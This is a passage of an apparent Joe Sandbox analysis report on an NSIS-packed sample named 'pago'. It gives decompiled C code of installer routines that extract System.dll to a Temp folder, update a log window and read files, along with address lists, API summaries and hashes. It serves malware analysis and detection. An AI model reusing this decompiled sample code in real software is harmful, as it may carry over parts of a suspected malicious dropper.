                                                                  						if(_t66 != _t77) {
                                                                  							_t73 = _t66 + 0x14;
                                                                  							__eflags = _t73;
                                                                  							_t79 = CompareFileTime(_t73, _t86 - 0x24);
                                                                  						}
                                                                  						asm("sbb eax, eax");
                                                                  						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
                                                                  						__eflags = _t72;
                                                                  						 *(_t86 + 8) = _t72;
                                                                  					}
                                                                  					__eflags =  *(_t86 + 8) - _t77;
                                                                  					if( *(_t86 + 8) == _t77) {
                                                                  						E00406008(_t81);
                                                                  					}
                                                                  					__eflags =  *(_t86 + 8) - 1;
                                                                  					_t43 = E0040602D(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
                                                                  					__eflags = _t43 - 0xffffffff;
                                                                  					 *(_t86 - 0x38) = _t43;
                                                                  					if(_t43 != 0xffffffff) {
                                                                  						break;
                                                                  					}
                                                                  					__eflags =  *(_t86 + 8) - _t77;
                                                                  					if( *(_t86 + 8) != _t77) {
                                                                  						E0040559F(0xffffffe2,  *(_t86 - 8));
                                                                  						__eflags =  *(_t86 + 8) - 2;
                                                                  						if(__eflags == 0) {
                                                                  							 *((intOrPtr*)(_t86 - 4)) = 1;
                                                                  						}
                                                                  						L31:
                                                                  						 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t86 - 4));
                                                                  						__eflags =  *0x434f88;
                                                                  						goto L32;
                                                                  					} else {
                                                                  						E0040653D("C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp", _t83);
                                                                  						E0040653D(_t83, _t81);
                                                                  						E0040657A(_t77, _t81, _t83, "C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
                                                                  						E0040653D(_t83, "C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp");
                                                                  						_t64 = E00405B9D("C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
                                                                  						__eflags = _t64;
                                                                  						if(_t64 == 0) {
                                                                  							continue;
                                                                  						} else {
                                                                  							__eflags = _t64 == 1;
                                                                  							if(_t64 == 1) {
                                                                  								 *0x434f88 =  &( *0x434f88->dwLowDateTime);
                                                                  								L32:
                                                                  								_t51 = 0;
                                                                  								__eflags = 0;
                                                                  							} else {
                                                                  								_push(_t81);
                                                                  								_push(0xfffffffa);
                                                                  								E0040559F();
                                                                  								L29:
                                                                  								_t51 = 0x7fffffff;
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  					L33:
                                                                  					return _t51;
                                                                  				}
                                                                  				E0040559F(0xffffffea,  *(_t86 - 8)); // executed
                                                                  				 *0x434fb4 =  *0x434fb4 + 1;
                                                                  				_t45 = E004032B4( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
                                                                  				 *0x434fb4 =  *0x434fb4 - 1;
                                                                  				__eflags =  *(_t86 - 0x24) - 0xffffffff;
                                                                  				_t84 = _t45;
                                                                  				if( *(_t86 - 0x24) != 0xffffffff) {
                                                                  					L22:
                                                                  					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
                                                                  				} else {
                                                                  					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
                                                                  					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
                                                                  						goto L22;
                                                                  					}
                                                                  				}
                                                                  				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
                                                                  				__eflags = _t84 - _t77;
                                                                  				if(_t84 >= _t77) {
                                                                  					goto L31;
                                                                  				} else {
                                                                  					__eflags = _t84 - 0xfffffffe;
                                                                  					if(_t84 != 0xfffffffe) {
                                                                  						E0040657A(_t77, _t81, _t84, _t81, 0xffffffee);
                                                                  					} else {
                                                                  						E0040657A(_t77, _t81, _t84, _t81, 0xffffffe9);
                                                                  						lstrcatW(_t81,  *(_t86 - 8));
                                                                  					}
                                                                  					_push(0x200010);
                                                                  					_push(_t81);
                                                                  					E00405B9D();
                                                                  					goto L29;
                                                                  				}
                                                                  				goto L33;
                                                                  			}


















                                                                  0x0040176f
                                                                  0x00401776
                                                                  0x00401782
                                                                  0x00401785
                                                                  0x0040178a
                                                                  0x0040178d
                                                                  0x00401794
                                                                  0x004017b0
                                                                  0x00401796
                                                                  0x00401797
                                                                  0x00401797
                                                                  0x004017b6
                                                                  0x004017bb
                                                                  0x004017bb
                                                                  0x004017bf
                                                                  0x004017c2
                                                                  0x004017c7
                                                                  0x004017c9
                                                                  0x004017cb
                                                                  0x004017d0
                                                                  0x004017d0
                                                                  0x004017db
                                                                  0x004017db
                                                                  0x004017ec
                                                                  0x004017ee
                                                                  0x004017ee
                                                                  0x004017ef
                                                                  0x004017ef
                                                                  0x004017f2
                                                                  0x004017f5
                                                                  0x004017f8
                                                                  0x004017f8
                                                                  0x004017ff
                                                                  0x0040180e
                                                                  0x00401813
                                                                  0x00401816
                                                                  0x00401819
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040181b
                                                                  0x0040181e
                                                                  0x00401874
                                                                  0x00401879
                                                                  0x004015b6
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x00402c2a
                                                                  0x00402c2d
                                                                  0x00402c2d
                                                                  0x00000000
                                                                  0x00401820
                                                                  0x00401826
                                                                  0x0040182d
                                                                  0x0040183a
                                                                  0x00401845
                                                                  0x0040185b
                                                                  0x0040185b
                                                                  0x0040185e
                                                                  0x00000000
                                                                  0x00401864
                                                                  0x00401864
                                                                  0x00401865
                                                                  0x00401882
                                                                  0x00402c33
                                                                  0x00402c33
                                                                  0x00402c33
                                                                  0x00401867
                                                                  0x00401867
                                                                  0x00401868
                                                                  0x00401493
                                                                  0x0040239d
                                                                  0x0040239d
                                                                  0x0040239d
                                                                  0x00401865
                                                                  0x0040185e
                                                                  0x00402c35
                                                                  0x00402c39
                                                                  0x00402c39
                                                                  0x00401892
                                                                  0x00401897
                                                                  0x004018a5
                                                                  0x004018aa
                                                                  0x004018b0
                                                                  0x004018b4
                                                                  0x004018b6
                                                                  0x004018be
                                                                  0x004018ca
                                                                  0x004018b8
                                                                  0x004018b8
                                                                  0x004018bc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004018bc
                                                                  0x004018d3
                                                                  0x004018d9
                                                                  0x004018db
                                                                  0x00000000
                                                                  0x004018e1
                                                                  0x004018e1
                                                                  0x004018e4
                                                                  0x004018fc
                                                                  0x004018e6
                                                                  0x004018e9
                                                                  0x004018f2
                                                                  0x004018f2
                                                                  0x00401901
                                                                  0x00401906
                                                                  0x00402398
                                                                  0x00000000
                                                                  0x00402398
                                                                  0x00000000

                                                                  APIs
                                                                  • lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
                                                                  • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00441000,?,?,00000031), ref: 004017D5
                                                                    • Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                    • Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00403418), ref: 004055FA
                                                                    • Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 0040560C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp$C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll$Call
                                                                  • API String ID: 1941528284-1007253116
                                                                  • Opcode ID: 1f818d2d0e80a878676138eafe39d229bc6d091a70e5c7c4d44bb1fa455db58e
                                                                  • Instruction ID: 1e3f5e060805a06bac003644be00ba5f3fef1f2c353f2d3d357c0a6c5ca497fd
                                                                  • Opcode Fuzzy Hash: 1f818d2d0e80a878676138eafe39d229bc6d091a70e5c7c4d44bb1fa455db58e
                                                                  • Instruction Fuzzy Hash: F4419371900108BACF11BFB5DD85DAE7A79EF45768B20423FF422B10E2D63C8A91966D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 635 40559f-4055b4 636 4055ba-4055cb 635->636 637 40566b-40566f 635->637 638 4055d6-4055e2 lstrlenW 636->638 639 4055cd-4055d1 call 40657a 636->639 640 4055e4-4055f4 lstrlenW 638->640 641 4055ff-405603 638->641 639->638 640->637 643 4055f6-4055fa lstrcatW 640->643 644 405612-405616 641->644 645 405605-40560c SetWindowTextW 641->645 643->641 646 405618-40565a SendMessageW * 3 644->646 647 40565c-40565e 644->647 645->644 646->647 647->637 648 405660-405663 647->648 648->637
                                                                  C-Code - Quality: 100%
                                                                  			E0040559F(signed int _a4, WCHAR* _a8) {
                                                                  				struct HWND__* _v8;
                                                                  				signed int _v12;
                                                                  				WCHAR* _v32;
                                                                  				long _v44;
                                                                  				int _v48;
                                                                  				void* _v52;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				WCHAR* _t27;
                                                                  				signed int _t28;
                                                                  				long _t29;
                                                                  				signed int _t37;
                                                                  				signed int _t38;
                                                                  
                                                                  				_t27 =  *0x433ee4; // 0x103b0
                                                                  				_v8 = _t27;
                                                                  				if(_t27 != 0) {
                                                                  					_t37 =  *0x434fb4;
                                                                  					_v12 = _t37;
                                                                  					_t38 = _t37 & 0x00000001;
                                                                  					if(_t38 == 0) {
                                                                  						E0040657A(_t38, 0, 0x42c248, 0x42c248, _a4);
                                                                  					}
                                                                  					_t27 = lstrlenW(0x42c248);
                                                                  					_a4 = _t27;
                                                                  					if(_a8 == 0) {
                                                                  						L6:
                                                                  						if((_v12 & 0x00000004) == 0) {
                                                                  							_t27 = SetWindowTextW( *0x433ec8, 0x42c248); // executed
                                                                  						}
                                                                  						if((_v12 & 0x00000002) == 0) {
                                                                  							_v32 = 0x42c248;
                                                                  							_v52 = 1;
                                                                  							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
                                                                  							_v44 = 0;
                                                                  							_v48 = _t29 - _t38;
                                                                  							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
                                                                  							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
                                                                  						}
                                                                  						if(_t38 != 0) {
                                                                  							_t28 = _a4;
                                                                  							0x42c248[_t28] = 0;
                                                                  							return _t28;
                                                                  						}
                                                                  					} else {
                                                                  						_t27 = lstrlenW(_a8) + _a4;
                                                                  						if(_t27 < 0x1000) {
                                                                  							_t27 = lstrcatW(0x42c248, _a8);
                                                                  							goto L6;
                                                                  						}
                                                                  					}
                                                                  				}
                                                                  				return _t27;
                                                                  			}

















                                                                  0x004055a5
                                                                  0x004055af
                                                                  0x004055b4
                                                                  0x004055ba
                                                                  0x004055c5
                                                                  0x004055c8
                                                                  0x004055cb
                                                                  0x004055d1
                                                                  0x004055d1
                                                                  0x004055d7
                                                                  0x004055df
                                                                  0x004055e2
                                                                  0x004055ff
                                                                  0x00405603
                                                                  0x0040560c
                                                                  0x0040560c
                                                                  0x00405616
                                                                  0x0040561f
                                                                  0x0040562b
                                                                  0x00405632
                                                                  0x00405636
                                                                  0x00405639
                                                                  0x0040564c
                                                                  0x0040565a
                                                                  0x0040565a
                                                                  0x0040565e
                                                                  0x00405660
                                                                  0x00405663
                                                                  0x00000000
                                                                  0x00405663
                                                                  0x004055e4
                                                                  0x004055ec
                                                                  0x004055f4
                                                                  0x004055fa
                                                                  0x00000000
                                                                  0x004055fa
                                                                  0x004055f4
                                                                  0x004055e2
                                                                  0x0040566f

                                                                  APIs
                                                                  • lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                  • lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                  • lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00403418), ref: 004055FA
                                                                  • SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 0040560C
                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                  • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                  • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                    • Part of subcall function 0040657A: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
                                                                    • Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000), ref: 00406779
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSendlstrlen$lstrcat$TextWindow
                                                                  • String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll
                                                                  • API String ID: 1495540970-4047078869
                                                                  • Opcode ID: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
                                                                  • Instruction ID: 138a2a903332092674924c4fce2a37a83712bc812e9b86ab44911e1df8857bb6
                                                                  • Opcode Fuzzy Hash: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
                                                                  • Instruction Fuzzy Hash: C1219071900558BACF11AFA9DD84DDFBF75EF45354F14803AF904B22A0C7794A419F68
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 649 4026ec-402705 call 402d84 652 402c2a-402c2d 649->652 653 40270b-402712 649->653 656 402c33-402c39 652->656 654 402714 653->654 655 402717-40271a 653->655 654->655 657 402720-40272f call 40649d 655->657 658 40287e-402886 655->658 657->658 662 402735 657->662 658->652 663 40273b-40273f 662->663 664 4027d4-4027d7 663->664 665 402745-402760 ReadFile 663->665 666 4027d9-4027dc 664->666 667 4027ef-4027ff call 4060b0 664->667 665->658 668 402766-40276b 665->668 666->667 669 4027de-4027e9 call 40610e 666->669 667->658 678 402801 667->678 668->658 671 402771-40277f 668->671 669->658 669->667 674 402785-402797 MultiByteToWideChar 671->674 675 40283a-402846 call 406484 671->675 674->678 679 402799-40279c 674->679 675->656 681 402804-402807 678->681 682 40279e-4027a9 679->682 681->675 683 402809-40280e 681->683 682->681 684 4027ab-4027d0 SetFilePointer MultiByteToWideChar 682->684 685 402810-402815 683->685 686 40284b-40284f 683->686 684->682 687 4027d2 684->687 685->686 690 402817-40282a 685->690 688 402851-402855 686->688 689 40286c-402878 SetFilePointer 686->689 687->678 691 402857-40285b 688->691 692 40285d-40286a 688->692 689->658 690->658 693 40282c-402832 690->693 691->689 691->692 692->658 693->663 694 402838 693->694 694->658
                                                                  C-Code - Quality: 87%
                                                                  			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
                                                                  				intOrPtr _t65;
                                                                  				intOrPtr _t66;
                                                                  				intOrPtr _t72;
                                                                  				void* _t76;
                                                                  				void* _t79;
                                                                  
                                                                  				_t72 = __edx;
                                                                  				 *((intOrPtr*)(_t76 - 8)) = __ebx;
                                                                  				_t65 = 2;
                                                                  				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
                                                                  				_t66 = E00402D84(_t65);
                                                                  				_t79 = _t66 - 1;
                                                                  				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
                                                                  				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
                                                                  				if(_t79 < 0) {
                                                                  					L36:
                                                                  					 *0x434f88 =  *0x434f88 +  *(_t76 - 4);
                                                                  				} else {
                                                                  					__ecx = 0x3ff;
                                                                  					if(__eax > 0x3ff) {
                                                                  						 *(__ebp - 0x44) = 0x3ff;
                                                                  					}
                                                                  					if( *__edi == __bx) {
                                                                  						L34:
                                                                  						__ecx =  *(__ebp - 0xc);
                                                                  						__eax =  *(__ebp - 8);
                                                                  						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
                                                                  						if(_t79 == 0) {
                                                                  							 *(_t76 - 4) = 1;
                                                                  						}
                                                                  						goto L36;
                                                                  					} else {
                                                                  						 *(__ebp - 0x38) = __ebx;
                                                                  						 *(__ebp - 0x18) = E0040649D(__ecx, __edi);
                                                                  						if( *(__ebp - 0x44) > __ebx) {
                                                                  							do {
                                                                  								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
                                                                  									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040610E( *(__ebp - 0x18), __ebx) >= 0) {
                                                                  										__eax = __ebp - 0x50;
                                                                  										if(E004060B0( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
                                                                  											goto L34;
                                                                  										} else {
                                                                  											goto L21;
                                                                  										}
                                                                  									} else {
                                                                  										goto L34;
                                                                  									}
                                                                  								} else {
                                                                  									__eax = __ebp - 0x40;
                                                                  									_push(__ebx);
                                                                  									_push(__ebp - 0x40);
                                                                  									__eax = 2;
                                                                  									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
                                                                  									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??); // executed
                                                                  									if(__eax == 0) {
                                                                  										goto L34;
                                                                  									} else {
                                                                  										__ecx =  *(__ebp - 0x40);
                                                                  										if(__ecx == __ebx) {
                                                                  											goto L34;
                                                                  										} else {
                                                                  											__ax =  *(__ebp + 0xa) & 0x000000ff;
                                                                  											 *(__ebp - 0x4c) = __ecx;
                                                                  											 *(__ebp - 0x50) = __eax;
                                                                  											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                                  												L28:
                                                                  												__ax & 0x0000ffff = E00406484( *(__ebp - 0xc), __ax & 0x0000ffff);
                                                                  											} else {
                                                                  												__ebp - 0x50 = __ebp + 0xa;
                                                                  												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
                                                                  													L21:
                                                                  													__eax =  *(__ebp - 0x50);
                                                                  												} else {
                                                                  													__edi =  *(__ebp - 0x4c);
                                                                  													__edi =  ~( *(__ebp - 0x4c));
                                                                  													while(1) {
                                                                  														_t22 = __ebp - 0x40;
                                                                  														 *_t22 =  *(__ebp - 0x40) - 1;
                                                                  														__eax = 0xfffd;
                                                                  														 *(__ebp - 0x50) = 0xfffd;
                                                                  														if( *_t22 == 0) {
                                                                  															goto L22;
                                                                  														}
                                                                  														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
                                                                  														__edi = __edi + 1;
                                                                  														__eax = SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1); // executed
                                                                  														__ebp - 0x50 = __ebp + 0xa;
                                                                  														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
                                                                  															continue;
                                                                  														} else {
                                                                  															goto L21;
                                                                  														}
                                                                  														goto L22;
                                                                  													}
                                                                  												}
                                                                  												L22:
                                                                  												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                                  													goto L28;
                                                                  												} else {
                                                                  													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
                                                                  														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
                                                                  															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
                                                                  															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
                                                                  														} else {
                                                                  															__ecx =  *(__ebp - 0xc);
                                                                  															__edx =  *(__ebp - 8);
                                                                  															 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                                  															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                                  														}
                                                                  														goto L34;
                                                                  													} else {
                                                                  														__ecx =  *(__ebp - 0xc);
                                                                  														__edx =  *(__ebp - 8);
                                                                  														 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                                  														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                                  														 *(__ebp - 0x38) = __eax;
                                                                  														if(__ax == __bx) {
                                                                  															goto L34;
                                                                  														} else {
                                                                  															goto L26;
                                                                  														}
                                                                  													}
                                                                  												}
                                                                  											}
                                                                  										}
                                                                  									}
                                                                  								}
                                                                  								goto L37;
                                                                  								L26:
                                                                  								__eax =  *(__ebp - 8);
                                                                  							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
                                                                  						}
                                                                  						goto L34;
                                                                  					}
                                                                  				}
                                                                  				L37:
                                                                  				return 0;
                                                                  			}








                                                                  0x004026ec
                                                                  0x004026ee
                                                                  0x004026f1
                                                                  0x004026f3
                                                                  0x004026f6
                                                                  0x004026fb
                                                                  0x004026ff
                                                                  0x00402702
                                                                  0x00402705
                                                                  0x00402c2a
                                                                  0x00402c2d
                                                                  0x0040270b
                                                                  0x0040270b
                                                                  0x00402712
                                                                  0x00402714
                                                                  0x00402714
                                                                  0x0040271a
                                                                  0x0040287e
                                                                  0x0040287e
                                                                  0x00402881
                                                                  0x00402886
                                                                  0x004015b6
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x00000000
                                                                  0x00402720
                                                                  0x00402721
                                                                  0x0040272c
                                                                  0x0040272f
                                                                  0x0040273b
                                                                  0x0040273f
                                                                  0x004027d7
                                                                  0x004027ef
                                                                  0x004027ff
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00402745
                                                                  0x00402745
                                                                  0x00402748
                                                                  0x00402749
                                                                  0x0040274c
                                                                  0x00402751
                                                                  0x00402758
                                                                  0x00402760
                                                                  0x00000000
                                                                  0x00402766
                                                                  0x00402766
                                                                  0x0040276b
                                                                  0x00000000
                                                                  0x00402771
                                                                  0x00402771
                                                                  0x00402779
                                                                  0x0040277c
                                                                  0x0040277f
                                                                  0x0040283a
                                                                  0x00402841
                                                                  0x00402785
                                                                  0x0040278b
                                                                  0x00402797
                                                                  0x00402801
                                                                  0x00402801
                                                                  0x00402799
                                                                  0x00402799
                                                                  0x0040279c
                                                                  0x0040279e
                                                                  0x0040279e
                                                                  0x0040279e
                                                                  0x004027a1
                                                                  0x004027a6
                                                                  0x004027a9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004027ab
                                                                  0x004027ae
                                                                  0x004027b6
                                                                  0x004027c2
                                                                  0x004027d0
                                                                  0x00000000
                                                                  0x004027d2
                                                                  0x00000000
                                                                  0x004027d2
                                                                  0x00000000
                                                                  0x004027d0
                                                                  0x0040279e
                                                                  0x00402804
                                                                  0x00402807
                                                                  0x00000000
                                                                  0x00402809
                                                                  0x0040280e
                                                                  0x0040284f
                                                                  0x00402871
                                                                  0x00402878
                                                                  0x0040285d
                                                                  0x0040285d
                                                                  0x00402860
                                                                  0x00402863
                                                                  0x00402866
                                                                  0x00402866
                                                                  0x00000000
                                                                  0x00402817
                                                                  0x00402817
                                                                  0x0040281a
                                                                  0x0040281d
                                                                  0x00402823
                                                                  0x00402827
                                                                  0x0040282a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040282a
                                                                  0x0040280e
                                                                  0x00402807
                                                                  0x0040277f
                                                                  0x0040276b
                                                                  0x00402760
                                                                  0x00000000
                                                                  0x0040282c
                                                                  0x0040282c
                                                                  0x0040282f
                                                                  0x00402838
                                                                  0x00000000
                                                                  0x0040272f
                                                                  0x0040271a
                                                                  0x00402c33
                                                                  0x00402c39

                                                                  APIs
                                                                  • ReadFile.KERNELBASE(?,?,?,?), ref: 00402758
                                                                  • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
                                                                  • SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
                                                                  • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC
                                                                    • Part of subcall function 0040610E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406124
                                                                  • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
